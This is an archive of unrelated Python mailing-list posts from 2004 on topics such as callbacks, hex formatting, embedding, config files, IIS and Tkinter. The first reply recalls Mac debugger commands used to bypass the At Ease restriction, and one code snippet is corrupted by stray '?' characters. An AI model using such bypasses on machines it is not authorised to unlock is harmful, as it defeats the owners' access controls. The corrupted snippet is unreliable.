Date: Tue, 24 Feb 2004 18:32:38 -0500
Subject: Nostalgic instruction sequences (Re: Python Productivity Gain?)
In-Reply-To: <m3smh2gfkk.fsf@pc150.maths.bris.ac.uk>
References: <mailman.16.1077122875.27104.python-list@python.org>
	<403687e1$1@nntp0.pdx.net> <40368BF3.2FE82B1A@engcorp.com>
	<c1bml2$1h2f64$1@ID-169208.news.uni-berlin.de>
	<m3smh2gfkk.fsf@pc150.maths.bris.ac.uk>
Message-ID: <no2dnSHcxqGCQqbdRVn-ig@comcast.com>


> SETW 0 a9f4
> G 0
> 
> anyone?  (memory said a9f0 first, corrected by google).
> 
> Cheers,
> mwh

I used someting similar to his to hack Macintoshes in high school: SM 0 
a9f4, G 0, entered at the magic h4X0r prompt. I have no idea what it's 
actually doing, but you could bypass At Ease with it ;-)


From newsgroups at jhrothjr.com  Mon Feb  9 08:20:51 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Mon, 9 Feb 2004 08:20:51 -0500
Subject: software design question
References: <c02ku4$8e0$1@news.rz.uni-karlsruhe.de>
	<c03ebl$av7$1@news.service.uci.edu>
	<c03g1u$mtu$1@news.rz.uni-karlsruhe.de>
	<L5cVb.14719$ZN1.775584@news20.bellglobal.com>
	<c03rii$c2t$1@news.rz.uni-karlsruhe.de>
	<102bb30d5422pd4@news.supernews.com>
	<l69kf1-9e8.ln1@wintermute.g2ctech>
Message-ID: <102f2dboos9na2@news.supernews.com>


"Jorge Godoy" <godoy at ieee.org> wrote in message
news:l69kf1-9e8.ln1 at wintermute.g2ctech...
> On Sunday 08 February 2004 01:24 John Roth wrote in
> <102bb30d5422pd4 at news.supernews.com>:
>
> > I suspect you've got the callback logic backwards. The basic
> > layering pattern is "call down, notify up," and it's the upper
> > layer's responsibility to request the notification.
> >
> > To explicate: the GUI module calls the domain
> > module for service. It also calls the domain module
> > to register callbacks, passing the function that it
> > want's called.
> >
> > When the domain layer has something it wants to
> > tell the GUI layer, it simply runs a (possibly empty)
> > list of callback functions.
>
> Can you exemplify it?
>
> I'm very interested on such approach and I'm going to read a little
> more about it, but examples in Python would help a lot.

A simple notify class:
---------------------------------------------
class Notify(object):
    def __init__(self):
        self.listenerList = []

    def sendMessage(self, event):
        for callback in self.listenerList:
            callback(event)
        return

    def addListener(self, callback):
        self.listenerList.append(callback)

    def removeListener(self, callback):
        self.listenerList.remove(callback)
---------------------------------------------

Here's a place where I instantiate it:

--------------------------------------------------------------
class ALocation(object):
    def __init__(self):
        self._latitude = LatitudeContainer()
        self._longitude = LongitudeContainer()
        self._placeName = StringContainer()
        self._titleNotifier = A4Base.Notify.Notify()
        self._latitude.addListener(self._titleUpdated)
        self._longitude.addListener(self._titleUpdated)
---------------------------------------------------------------

and the routine that uses this notifier:

--------------------------------------------------------
    def _titleUpdated(self, event):
        self._titleNotifier.sendMessage(event)
--------------------------------------------------------

LatitudeContainer and LongitudeContainer both derive
from BaseContainer (through StringContainer, but that
doesn't add anything to this example):

-------------------------------------------------------
class BaseContainer(object):
    def __init__(self):
        self._notifier = A4Base.Notify.Notify()
    def addListener(self, callback):
        return self._notifier.addListener(callback)
    def removeListener(self, callback):
        return self._notifier.removeCallback(callback)
    def _sendMessage(self, message):
        return self._notifier.sendMessage(message)
---------------------------------------------------------

here's the routine in LatitudeContainer that fires
off the notification:

------------------------------------------------------
    def _setStringValue(self, value):
        self.parseLat(value)
        if self._stringValue != value:
            self._stringValue = value
            self._sendMessage(value)
-------------------------------------------------------

HTH

John Roth



>
>
> TIA,
> -- 
> Godoy.     <godoy at ieee.org>




From tepihlaj at NOpaju.SPAMoulu.fi  Tue Feb  3 14:46:20 2004
From: tepihlaj at NOpaju.SPAMoulu.fi (Tero Pihlajakoski)
Date: Tue, 3 Feb 2004 19:46:20 +0000 (UTC)
Subject: C Embedding problem, ImportError
Message-ID: <bvotqc$555$1@ousrvr3.oulu.fi>

I'm trying to run some python scripts from a proggy of mine. Most of the
time it works great, but I seem to be having problems with some
modules. Here's what I get when I try importing math (applies to all
.../lib-dynload/ modules, I guess):

ImportError: /usr/lib/python2.3/lib-dynload/math.so: undefined
symbol: PyExc_OverflowError

Executing the same script from command-line works ok. What gives?
I'm using python 2.3.2, and the file using the python/c is compiled
invoking: 

gcc -o libabc.lib -shared -fpic lpython2.3 -lm abc.c

Thanks,
 
- Tero



From bokr at oz.net  Thu Feb 12 14:20:47 2004
From: bokr at oz.net (Bengt Richter)
Date: 12 Feb 2004 19:20:47 GMT
Subject: hex(id(...)) and negative id's, 6 questions
References: <20040207103754.GA4145@nl.linux.org>
	<6DE50784-5A78-11D8-BC18-0003934ACDEC@zdome.net>
	<mailman.1441.1076451207.12720.python-list@python.org>
Message-ID: <c0gjmf$tg1$0@216.39.172.122>

On Tue, 10 Feb 2004 23:12:50 +0100, Gerrit <gerrit at nl.linux.org> wrote:

>Dietrich Epp wrote:
>> >However, since I upgraded to Fedora Core 1 and Linux Kernel
>> >2.4.22-1.2163.nptl, id(obj) is usually negative. Why is it negative?
>>=20
>> My guess is that it's due to changes in memory allocation.  It's=20
>> nothing to worry about.  Don't depend on the values returned by id(),=20
>> they depend on the OS, the version of Python, the type of the object,=20
>> and the phases of the moons of Saturn.  For instance, since I use OS X,=
>=20
>> my id()s are very small (and they fit in short-term memory).
>
>I don't depend on them, I just want to show them in hex in my __repr__,
>so that I can see two objects are equal.
>
>> Obj uses %p in it's __repr__ function, which is implemented in C, not=20
>> Python.  It doesn't even call id().
>>=20
>> My question is why you implement __repr__, when you get object's=20
>> behavior for free.
>
>Because I want to include more information.
>
>My code really is:
>
>    def __repr__(self):
>        s =3D "<%s sprite(in %d groups) at %x pos=3D%s>"
>        return s % (self.__class__.__name__, len(self.__g), \
>                    id(self), self.rect.topleft)
>
>...and the base class happens to define __repr__, which does not include
>id(self). I want to be able to see in debugging code that a certain
>sprite at pos (x1, y1) at frame N is the same as a certain sprite at
>position (x2, y2) in frame M. id(self) seems ideal for that, until these
>Warnings started (I now do abs(id(self)), which is ugly enough but gets
>rid of the warning).
>
>Any hints on getting this right? Parsing object.__repr__(self) is not
>the best solution either ;-)
>
IMO the proposed "-"-prefixed-hex-of-the-absolute-value format is a disgusting
pustulent wart on python, and goes against all tradition in hex representation.
Hex is not primarily a radix matter IMO. It is a matter of showing information
in a format that maps well to bit vectors such as are used in hardware representations
of numbers _and_ other info such as boolean vectors or foreign data structures like
c-struct fields etc. I think this change is drifting towards an embarassment for python
and requires a midcourse corrective maneuver. IMHO. ;-) <flame shields up>

Hence I think the solution is a new alternative format for hex literals, not a trashing
of the utility of the current format. Several have been proposed. A post-fixed h or H
with infinite sign bit hex representation 0's or F's or f's collapsed to a single 0 or F or f
would seem simple enough. The binary version with post-fixed b and infinite sign bits
collapsed to a single 0 or 1 works nicely analogously, BTW.

(Not tested beyond what you see ;-)

 >>> def myhex(n):
 ...     ret = ['h']
 ...     while n and n!=-1:
 ...         ret.append('0123456789abcdef'[n&0xf])
 ...         n>>=4
 ...     ret.append(n<0 and 'f' or '0')
 ...     return ''.join(ret[::-1])
 ...
 >>> myhex(0)
 '0h'
 >>> myhex(1)
 '01h'
 >>> myhex(8)
 '08h'
 >>> myhex(-8)
 'f8h'
 >>> myhex(0x80000000L)
 '080000000h'
 >>> myhex(-0x80000000L)
 'f80000000h'
 >>> for i in xrange(-16,17): print '%4s%s'%(myhex(i),'\n'[:(i%16)==15]),
 ...
  f0h  f1h  f2h  f3h  f4h  f5h  f6h  f7h  f8h  f9h  fah  fbh  fch  fdh  feh   fh
   0h  01h  02h  03h  04h  05h  06h  07h  08h  09h  0ah  0bh  0ch  0dh  0eh  0fh
 010h

or for a brute force 8-digit thing for your __repr__ (untested):

def myhex(n): return ''.join(['0123456789ABCDEF'[(n>>i)&0xf] for i in xrange(28,-4,-4)])

Sorry, this roused my pet peeve (is there a cute graphic of this creature somewhere? ;-)

Regards,
Bengt Richter


From list-python at ccraig.org  Fri Feb 27 10:06:54 2004
From: list-python at ccraig.org (Christopher A. Craig)
Date: 27 Feb 2004 10:06:54 -0500
Subject: How to obscure a password
References: <mailman.164.1077801277.8594.python-list@python.org>
	<e60s30927eikkugiciu0f9mgde9mtqsm60@4ax.com>
	<AOt%b.21739$W74.6610@newsread1.news.atl.earthlink.net>
Message-ID: <t1w3c8w4l4h.fsf@kermit.wreck.org>

"Lucas Raab" <pythongnome at hotmail.com> writes:

> The only problem with using rotor, is that, given the time, someone could
> decrypt the password file by using the encrypted form and guessing
> the key.

Or they could just steal the key.  As he said, you can only obscure a
password in an obscure way, not a secure way.

-- 
Christopher A. Craig <list-python at ccraig.org>
If you threw a glass of cold water on a liberal in the middle of a sound
sleep, he'd jerk awake denouncing the religious right -- Ann Coulter




From nospam-deets at web.de  Wed Feb  4 09:49:50 2004
From: nospam-deets at web.de (Diez B. Roggisch)
Date: Wed, 04 Feb 2004 15:49:50 +0100
Subject: How to slice range of array along a (a-priori unknown) axis?
References: <bvqvvl$8u2$1@news.tudelft.nl>
Message-ID: <bvr0qa$vku0a$1@ID-111250.news.uni-berlin.de>

This should work.

def el_remove_bcells(var, axis):
    if?axis?==?0:
????   return?var[1:-1]
    else:
      return eval("var[%s1:-1]" % ":," * axis)

--
Regards,

Diez B. Roggisch


From dave at pythonapocrypha.com  Wed Feb 25 10:55:45 2004
From: dave at pythonapocrypha.com (Dave Brueck)
Date: Wed, 25 Feb 2004 08:55:45 -0700
Subject: No Thoughts about Everything
References: <403CC4FB.7040204@compuserve.de>
Message-ID: <015d01c3fbb7$d482e180$6401fea9@YODA>

Bernhard wrote:
[snip]
> while using Java. I kindly ask for help to transfer that simple, single
> line intelligent to python in the best possible way:
>
> static final double c=2.99792458e8;
> How can I create such a "class constant" (static final / recipe 5.15 and
> 5.6 in one) in python as short as possible?

class Foo:
  BAR = 10

Voila! BAR is now a "class constant" - shared among all instances of the class
Foo (in theory it's not a constant, but in practice it is :) ).

HTH,
Dave




From harry.g.george at boeing.com  Thu Feb 19 03:20:15 2004
From: harry.g.george at boeing.com (Harry George)
Date: Thu, 19 Feb 2004 08:20:15 GMT
Subject: Python Productivity Gain?
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>
	<mailman.86.1077050210.31398.python-list@python.org>
	<a8623416.0402181148.20865556@posting.google.com>
Message-ID: <xqxbrnvbhvk.fsf@cola2.ca.boeing.com>

corey.coughlin at attbi.com (Corey Coughlin) writes:

> It is a difficult problem, but I don't think it's completely
> insurmountable.  Take some programmers right out of school, or just a
> general population of people, give them training in language X for a
> fixed period of time, set them up to perform some task, and see how
> long it takes them.  Sure, some of them will be better programmers
> than others, but with a large enough sample population you should be
> able to draw some conclusions on the average, if there is an effect to
> be measured.  And yes, the bigger the population, the better the
> results, so it would be fairly expensive to conduct, but still, you
> could draw conclusions.  Getting funding would be tricky, though,
> that's a given.
> 
>

It is common for a ComSci prof or grad student to crank up such a
study, using undergrad and grad students as the subjects.  These
subjects can generally be coerced to participate ("it is required for
the course").  For "novice programmer" research, high school students
are often used.  These tend to be self-selected, and ar not
representative for the general population.

So it is possible to set up such an experiment, and even to attend to
all the statistical niceties.  The problem is that the experimental
model fails to match reality in other ways.

For example, real world teams have usually solved interpersonal
pecking orders and courting rituals before the coding starts.  They
have domain knowledge beyond reading a (possibly fake) case study.
They have well-honed development environments, and may have existing
sets of unittests.  Their requirements/directions are subject to major
changes in midstream.  

These conditions are hard to duplicate in a short term academic
settings.  They cannot be solved by larger sample size.  That's why I
suggest that "lab research" is not ready for prime time in this field.

Some researchers have gone out in the field to use working teams.
Others retrospectively examine past projects.  These have the flavor
of "field research".



 
> 
> 
> Paul Prescod <paul at prescod.net> wrote in message news:<mailman.86.1077050210.31398.python-list at python.org>...
> > kbass wrote:
> > 
> > > In different articles that I have read, persons have constantly eluded to
> > > the productivity gains of Python. One person stated that Python's
> > > productivity gain was 5 to 10 times over Java in some in some cases. The
> > > strange thing that I have noticed is that there were no examples of this
> > > productivity gain (i.e., projects, programs, etc.,...).  Can someone give me
> > > some real life examples of productivity gains using Python as opposed other
> > > programming languages.
> > 
> > The problem is always: how do you measure/judge this?
> > 
> > Are you going to get the SAME PROGRAMMERS to solve the same problem 
> > twice? If so, the second language will have a big advantage. Are you 
> > going to get different programmers? How do you know they are the same skill?
> > 
> > Also: productivity for what? If your Java code is a little bit of glue 
> > around some pre-existing EJBs then it may have an advantage. If you are 
> > using Python and Pyrex to wrap C code, then Python will certainly have 
> > an advantage.
> > 
> > Most Python programmers are speaking about their personal productivity 
> > gain measured based on "feel". It is possible to do a more formal study 
> > (dozens of programmers given a variety of tasks) but it would be quite 
> > expensive. What unbiased source is going to pay for it.
> > 
> >   Paul Prescod

-- 
harry.g.george at boeing.com
6-6M21 BCA CompArch Design Engineering
Phone: (425) 342-0007


From fpetermaas at netscape.net  Thu Feb 12 14:28:44 2004
From: fpetermaas at netscape.net (Peter Maas)
Date: Thu, 12 Feb 2004 20:28:44 +0100
Subject: YAML config file parser
Message-ID: <c0gk4t$111$1@swifty.westend.com>

Hi,

currently I'm trying to create a pgsql backend for the roundup issue
tracker using the mysql backend as a template (is somebody aware of
such a thing? I couldn't find one). The author has written a config.py
as many authors do. From the programmer's perspective this is a satis-
factory solution: he can use his favourite language and put complex
structures into the configuration. From the sysadmin's perspective this
is not so satisfactory: he would prefer a common configuration format
for his system. To please both one would need a serialization format
and api that

- allows the programmer to easily describe the program configuration,
- is manageable by configuration programs for less experienced users,
- is easily readable and writable with text editors

About 3 years ago Brian Ingerson made a proposal
http://www.geocrawler.com/mail/msg.php3?msg_id=7378365&list=12303
to use YAML for config files. That seems to be a good idea. It would
meet all specs above. Python currently has a ConfigParser for Windows
style .ini files which doesn't seem to be very popular. I have never
seen a Python project using it. What about adding a conf module that
uses YAML formatted files and provides similar convenience for programmers
as 'import config'? It should be part of Python's core distribution
otherwise it wouldn't be widely used. Any comments?

Mit freundlichen Gruessen,

Peter Maas

-- 
-------------------------------------------------------------------
Peter Maas, M+R Infosysteme, D-52070 Aachen, Hubert-Wienen-Str. 24
Tel +49-241-93878-0 Fax +49-241-93878-20 eMail peter.maas at mplusr.de
-------------------------------------------------------------------


From fnord at u.washington.edu  Fri Feb 13 22:56:59 2004
From: fnord at u.washington.edu (Lonnie Princehouse)
Date: 13 Feb 2004 19:56:59 -0800
Subject: beeline through tkinter
References: <qj6Xb.476569$JQ1.239547@pd7tw1no>
	<f70e3538.0402131412.6103d116@posting.google.com>
	<XtcXb.493232$ts4.254427@pd7tw3no>
Message-ID: <f70e3538.0402131956.3617cde4@posting.google.com>

"Elaine Jackson" <elainejackson7355 at home.com> wrote in message news:<XtcXb.493232$ts4.254427 at pd7tw3no>...
> "Lonnie Princehouse" <fnord at u.washington.edu> wrote in message
> news:f70e3538.0402131412.6103d116 at posting.google.com...
> 
> | This isn't quite an answer to your question, but I've got exactly such
> | a Tkinter chessboard.  It's only half-finished (I have a short
> | attention span for projects!), but it might give you some ideas:
> |
> | http://magicpeacefarm.com/lonnie/chessboard.tar.gz
> 
> This won't unzip for me. I get a message that says "Error reading header after
> processing 0 entries".

Ah, the joys of Windows!   I'll put up a zipped version-

http://magicpeacefarm.com/lonnie/chessboard.zip

I've noticed that Windows likes to add another ".tar" when it
downloads tar/gzipped archives, and at least Winzip can't figure it
out.  You can usually fix this by renaming the file to have a
".tar.gz" extension instead of ".tar.gz.tar".  This isn't at all
obvious if you have show-extensions turned off.

-L


From Pieter.Claerhout at Creo.com  Tue Feb 10 07:49:02 2004
From: Pieter.Claerhout at Creo.com (Pieter Claerhout)
Date: Tue, 10 Feb 2004 13:49:02 +0100
Subject: py2exe 0.5 and multiple utilities
Message-ID: <490316A24CC5D411ACD700B0D078F7F003915E72@cseexch01.cse.creoscitex.com>

I'm afraid that putting them in the same setup.py is the only option.

pieter

Creo
pieter claerhout | product support prinergy | tel: +32 2 352 2511 |
pieter.claerhout at creo.com | www.creo.com

IMAGINE CREATE BELIEVE(tm)


-----Original Message-----
From: miki.tebeka at zoran.com [mailto:miki.tebeka at zoran.com] 
Sent: 10 February 2004 13:40
To: python-list at python.org
Subject: py2exe 0.5 and multiple utilities


Hello All,

I'd like to create several utilities with py2exe and place them all in
the same directory.
However for each utility py2exe creates a different library.zip.

Any ideas on how to overcome this problem? (Placing all in the same
setup.py is not an option).

Thanks.
Miki
-- 
http://mail.python.org/mailman/listinfo/python-list



From derekledbetter at mindspring.com  Wed Feb 11 21:08:28 2004
From: derekledbetter at mindspring.com (Derek Ledbetter)
Date: Thu, 12 Feb 2004 02:08:28 GMT
Subject: JPG Image Load,Resize,Save with 100% Python?
References: <c05dj3$q37$04$1@news.t-online.com>
Message-ID: <0001HW.BC50201B00D4CBF4F0284600@netnews.comcast.net>

On Sun, 8 Feb 2004 5:25:47 -0800, Ingo Linkweiler wrote
(in message <c05dj3$q37$04$1 at news.t-online.com>):

> I am looking for a 100% python lib/script which can load a jpg image, 
> detect its size, resize and save it as new file.

Note that decoding, resizing and recompressing a JPEG hurts the
quality.  See:
    http://www.faqs.org/faqs/jpeg-faq/

-- 
Derek Ledbetter
derekl at serve.com

Heavy boots of lead 
fills his victims full of dread 
Running as fast as they can 
Iron Man lives again! 




From samp0082_at_umn_dot_edu  Sun Feb  1 16:25:16 2004
From: samp0082_at_umn_dot_edu (Michael Sampson)
Date: Sun, 1 Feb 2004 15:25:16 -0600
Subject: Loading a Cookie from a Dictonary
Message-ID: <401d6deb$0$49109$8f4e7992@newsreader.goldengate.net>

I'm using the Cookie module.
Say I have something that looks like this

import Cookie
c = Cookie.Cookie()
c.load(aDictonary)

What would the format of aDictornary be, I've looked around the net and I
can only find examples on how to format the input to load if it is a string.
The best info on this I could find is

Loading cookies from a dictionary 'd'
is equivalent to calling:
    map(Cookie.__setitem__, d.keys(), d.values())


I just need a few examples with multiple cookies and I should be able to
figure it out from there.
Thanks,
-Michael




From brian at mirror.org  Sun Feb 29 13:48:21 2004
From: brian at mirror.org (Brian Roberts)
Date: 29 Feb 2004 10:48:21 -0800
Subject: Confused about hasattr/getattr/namespaces
Message-ID: <509534af.0402291048.1d681a3f@posting.google.com>

I'm confused about the use of hasattr/getattr, or possibly
namespaces.  I know how to do this:

class UnderstandThis(object):
    def do_foo(self): pass
    def do_bar(self): pass
    def doit(self, cmd):
        funcname = 'do_' + cmd
        if hasattr(self, funcname):
            getattr(self, funcname)()
        else:
            print 'not found'

But if I try to do this with classes in a module (instead of
functions in a class):

class FooGenerator(object): ...
class BarGenerator(object): ...

def generate(cmd):
    clsname = cmd + 'Generator'
    if hasattr(???, clsname):
        etc...

I don't know what to use for ??? instead of self.  If I print
globals() inside generate() it shows the two classes, but using
it in the hasattr line doesn't work -- huh?  I can make it work
by wrapping the generate function in a (otherwise useless) class
and using self -- again, huh?

Couldn't find an explanation or example in the docs.  In fact,
the description of vars/globals/locals (in section 2.1) just
confused me even more.  Think I'm heading down the wrong path.
Can somebody please un-confuse me?

Brian.


From sdfATexpertuneDOTcom  Tue Feb 24 09:19:20 2004
From: sdfATexpertuneDOTcom (Scott F)
Date: Tue, 24 Feb 2004 14:19:20 -0000
Subject: Python scripts in IIS
References: <LIr_b.5246$yZ1.386@newsread2.news.pas.earthlink.net>
	<403A5840.CE02049@engcorp.com>
	<f0u_b.6405$aT1.4998@newsread1.news.pas.earthlink.net>
	<403A7103.7F1CE0D8@engcorp.com>
	<aHv_b.6560$aT1.3079@newsread1.news.pas.earthlink.net>
Message-ID: <Xns949954A8E8DA6sdfexpertunecom@216.168.3.44>

"Jon Cosby" <jcosby at nospam.net> wrote in
news:aHv_b.6560$aT1.3079 at newsread1.news.pas.earthlink.net: 

> 
> Sorry. It's in the browser window. The script does not execute. I
> have "Show friendly http error messages" set to false in Internet
> Explorer. As it happens on all of the scripts, I can't single out
> one command. I have ActiveState's build of Python 2.3, and don't
> recall running into this previously, but there might be something
> in the IIS configuration I'm overlooking.

Go to the Properties of the (Default) Web site, Home Directory tab, 
Configuration button.  On the Mappings tab, add a mapping for Python in 
the form

<pathtopython>\python.exe %s %s

Use your actual pathtopython and don't substitute anything for %s %s.

Should work fine.

Scott


From fumanchu at amor.org  Tue Feb 17 15:09:04 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Tue, 17 Feb 2004 12:09:04 -0800
Subject: any examples of great well-written web apps?
Message-ID: <DE1CF2B4FEC4A342BF62B6B2B334601E561D4B@opus.amorhq.net>

> Although I never used Python for web-applications,
> as a web-designer I know from experience that PHP
> makes a better server side scripting language than Python.

I find it difficult to trust your "experience" with something you've
"never used". Get some facts behind your trolling and try again.

FuManChu



From jdhunter at ace.bsd.uchicago.edu  Sun Feb 29 21:37:31 2004
From: jdhunter at ace.bsd.uchicago.edu (John Hunter)
Date: Sun, 29 Feb 2004 20:37:31 -0600
Subject: Why Python?
In-Reply-To: <Xns949ECD7289AD6Todd7Nospampleasecom@68.12.19.6> (Todd7's
	message of "Mon, 01 Mar 2004 02:11:46 GMT")
References: <Xns949ECD7289AD6Todd7Nospampleasecom@68.12.19.6>
Message-ID: <m2y8ql5m38.fsf@mother.paradise.lost>

>>>>> "Todd7" == Todd7  <Nospam at please.com> writes:

    Todd7> What makes it better or worse than languages like perl,
    Todd7> php, delphi, or c++?

perl - both python and perl have many, many external modules written
for them.  perl *may* have more.  Some people like that perl has CPAN,
a central repository for modules.  In my opinion, this is not so
important now that we have google.  python is object oriented in its
bones; with perl, OO is a hack.  python favors a clean, simple,
obvious syntax, perl embraces "there is more that one way to do it."
For this reason, most python coders feel that python code is easier to
read and maintain.  

php - widely used for web development and has a lot of nice packages
in this niche - bulletin boards, database interfaces, and so on.
python will have packages for each of these areas, but they are not as
widely used and are not industry standard, in the way for example that
phymyadmin is.  php is not as powerful a programming language as
python is and is not widely used outside the sphere of web
development.  See the recent thread
http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&oe=UTF-8&threadm=404269dc%240%2421674%24636a15ce%40news.free.fr&rnum=2&prev=/groups%3Fq%3Dphp%2Bgroup:*python*%26hl%3Den%26lr%3D%26ie%3DUTF-8%26oe%3DUTF-8%26scoring%3Dd

c++ - a big, powerful, complex language.  Good for designing complex
software packages and code where performance is important.  Makes
things like file IO, dbase and web connectivity harder than they need
to be. Many who use python favor a mixed language programming style:
use python for most everything, and write (or reuse) C/C++/FORTRAN
extensions for processor/performance intensive parts.  There are many
good tools (SWIG, F2Py, boost::python, etc) for automating the process
of creating python extensions of code from these other languages.  If
you need high performance code, it's good to know how to write code in
at least one of these compiled languages.

My advice: learn python first.  The community is very friendly and
receptive to newcomers (you won't find this on perl or C++
newsgroups).  You'll get advice from world experts on coding and
style.  python coders value elegant, readable, efficient, well written
code and will give you lots of advice along these lines.

JDH



From martin at v.loewis.de  Fri Feb  6 02:03:40 2004
From: martin at v.loewis.de (=?UTF-8?B?Ik1hcnRpbiB2LiBMw7Z3aXMi?=)
Date: Fri, 06 Feb 2004 08:03:40 +0100
Subject: convert utf-8 to latin-1?
In-Reply-To: <bvtuur$hg$1@news.rz.uni-karlsruhe.de>
References: <bvtuur$hg$1@news.rz.uni-karlsruhe.de>
Message-ID: <bvve85$vp2$06$2@news.t-online.com>

Uwe Mayer wrote:

> Currently I convert the returned, of what I'm pretty sure its a utf-8 string
> object, to a normal string using the str() function. 

Try converting the object to a Unicode object. I don't know what you
mean by "utf-8 string object"; Python has no such thing (but PyQt may).

Then, pass the unicode object to open().

> So my first question is wether you *can* convert it without loosing
> something and secondly: how?

In Python 2.3, you best use unicode strings to represent file names;
Python should know how to map them to the local representation,
depending on operating system conventions.

Regards,
Martin



From jcarlson at nospam.uci.edu  Sun Feb  8 14:50:44 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sun, 08 Feb 2004 11:50:44 -0800
Subject: where does Python stand?
In-Reply-To: <d99e1341.0402080236.79d3d939@posting.google.com>
References: <d99e1341.0402050505.226a01c8@posting.google.com>
	<6ee58e07.0402051148.25add90e@posting.google.com>
	<d99e1341.0402051930.57985621@posting.google.com>
	<bvv37j$8or$1@news.service.uci.edu>
	<d99e1341.0402061439.1f8cebc9@posting.google.com>
	<c01p9a$olv$1@news.service.uci.edu>
	<d99e1341.0402070536.25157d73@posting.google.com>
	<c03its$emc$1@news.service.uci.edu>
	<d99e1341.0402080236.79d3d939@posting.google.com>
Message-ID: <c06432$no7$1@news.service.uci.edu>

Look.  If you want to use Python to write your application, use Python. 
  Python CGI will work just fine.  You say you know how to use Python 
and CGI, so use it.

If you want to spend your time learning another language that /may/ be 
better suited for the task, then learn PHP.


Honestly, I don't think you are capable of writing this gallery 
software, because you can't even decide what language to write it in. 
People have offered both Python and PHP more than a few times, and you 
haven't even bothered to listen to anyone.

I'm no longer going to reply to this thread.  Good bye and good luck.
  - Josiah


From google at gregdunn.org  Fri Feb 20 11:42:20 2004
From: google at gregdunn.org (Greg)
Date: 20 Feb 2004 08:42:20 -0800
Subject: Label position on Homebrew  Pmw Megawidget
Message-ID: <4dd4b5fb.0402200842.79c8c942@posting.google.com>

I'm trying to create a megawidget for file selection that contains a
Label, EntryField, and Browse Button (that will open a tkFileDialog). 
The label positioning won't cooperate however, could anyone help with
this?

Here's what I want:
labelpos='w':
           ---------------------- ------------
Filename:  |c:\directory\file   | |Browse... |
           ---------------------- ------------   

No matter what I set as labelpos, the label will not end up on the
same row as the other widgets.  Some others are also not working as
expected:

labelpos='w':
    ---------------------- ------------
    |c:\directory\file   | |Browse... |
    ---------------------- ------------   
Filename: 

My code is below.  I've tried different grid(row,column) values for
the widgets, but that didn't seem to help.


Can anyone help with this?  It's driving me nuts! I imagine I'm doing
something wrong with the createlabel() method, or something else
trivially simple...

------------- cut here -------------------------------
#!/bin/python
#Running standalone will demo the above ascii pic, plus some others:

import Pmw
import Tkinter
from Tkinter import *
import tkFileDialog

class FileSelect(Pmw.MegaWidget):
  """ Megawidget containing Pmw.Entryfield and a Browse button 
      for file selection
  """

  def __init__ (self, parent=None, **kw):
    # Define the megawidget options
    optiondefs = (
                   ('labelmargin', 0,    Pmw.INITOPT),
                   ('labelpos',    None, Pmw.INITOPT),
                 )
    self.defineoptions(kw, optiondefs)

    # Initialise base class (after defining options)
    Pmw.MegaWidget.__init__(self, parent)

    # Create the components
    interior = self.interior()
        
    # Create a label
    self.createlabel(interior, childRows=2, childCols=1)

    # Create the Entryfield component
    self.entryfield = self.createcomponent('filename',      # Name
                                           (),              # Aliases
                                           None,            # Group
                                           Pmw.EntryField,  # Class
                                           (interior,),     #
Constructor Args
                                          )
    self.entryfield.grid(row=1, column=1)

    # Create the Browse Button
    self.browsebutton = self.createcomponent('browsebutton', # Name
                                             (),             # Aliases
                                             None,           # Group
                                             Tkinter.Button, # Class
                                             interior,       #
Constructor Args
                                             text="Browse...",
                                             command=self.getFileName
                                            )
    self.browsebutton.grid(row=1, column=2)
    
    # Check keywords and initialise options
    self.initialiseoptions()

  #------------------------------------------------------------------
  # Popup a file select dialog and fill in the entry field with the
  # chose filename
  #------------------------------------------------------------------
  
  def getFileName (self):
    dialog = tkFileDialog.Open()
    fname = dialog.show()
    if fname != "":
      self.entryfield.setvalue(fname)

# Standalone demo
if __name__ == "__main__":
  root = Tkinter.Tk()

  # Create and pack a FileSelect widgets
  widgets = []

  widgets.append(FileSelect(labelpos='n', label_text="north"))
  widgets.append(FileSelect(labelpos='e', label_text="east"))
  widgets.append(FileSelect(labelpos='s', label_text="south"))
  widgets.append(FileSelect(labelpos='w', label_text="west"))
  widgets.append(FileSelect(labelpos='ws', label_text="westsouth"))
  widgets.append(FileSelect(labelpos='wn', label_text="westnorth"))
  widgets.append(FileSelect(labelpos='sw', label_text="southwest"))
  widgets.append(FileSelect(labelpos='nw', label_text="northwest"))

  map(lambda w: w.pack(pady=20), widgets)
  root.mainloop()

------------- cut here -------------------------------


From aluticus at gmx.net  Wed Feb 11 07:21:16 2004
From: aluticus at gmx.net (Andrei)
Date: Wed, 11 Feb 2004 14:21:16 +0200
Subject: killing processes on win xp
Message-ID: <003201c3f099$8c92f690$e90f07c3@home6nvijh5cxa>

Hi, 

I'm using:

import win32pdh
junk, instances = win32pdh.EnumObjectItem(None,None,"Process",win32pdh.PERF_DETAIL_WIZARD)
print instances

to get a list of the running process on my PC. Then I try to kill a process using the function I found python\lib\site-packages\win32\scripts\killprocName:

import win32api, win32pdhutil, win32con, sys

def killProcName(procname):
 # Change suggested by Dan Knierim, who found that this performed a
 # "refresh", allowing us to kill processes created since this was run
 # for the first time.
 try:
  win32pdhutil.GetPerformanceAttributes('Process','ID Process',procname)
 except:
  pass

 pids = win32pdhutil.FindPerformanceAttributesByName(procname)

 # If _my_ pid in there, remove it!
 try:
  pids.remove(win32api.GetCurrentProcessId())
 except ValueError:
  pass

 if len(pids)==0:
  result = "Can't find %s" % procname
 elif len(pids)>1:
  result = "Found too many %s's - pids=`%s`" % (procname,pids)
 else:
  handle = win32api.OpenProcess(win32con.PROCESS_TERMINATE, 0,pids[0])
  win32api.TerminateProcess(handle,0)
  win32api.CloseHandle(handle)
  result = ""

 return result


The problem is that if there are many users logged on and I try to kill a process launched by other user, inactive in that moment I get this error:

Traceback (most recent call last):
  File "<pyshell#1>", line 1, in ?
    killProcName('notepad')
  File "C:\Python23\Lib\site-packages\win32\scripts\killProcName.py", line 38, in killProcName
    handle = win32api.OpenProcess(win32con.PROCESS_TERMINATE, 0,pids[0])
error: (5, 'OpenProcess', 'Access is denied.')

Is there a way to kill a process on win xp indifferently which user started that process and without being active as that user?
Thank you and sorry for the poor English 

-------------- next part --------------
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From mal at egenix.com  Mon Feb 23 17:53:37 2004
From: mal at egenix.com (M.-A. Lemburg)
Date: Mon, 23 Feb 2004 22:53:37 +0000
Subject: Parsing library for Python?
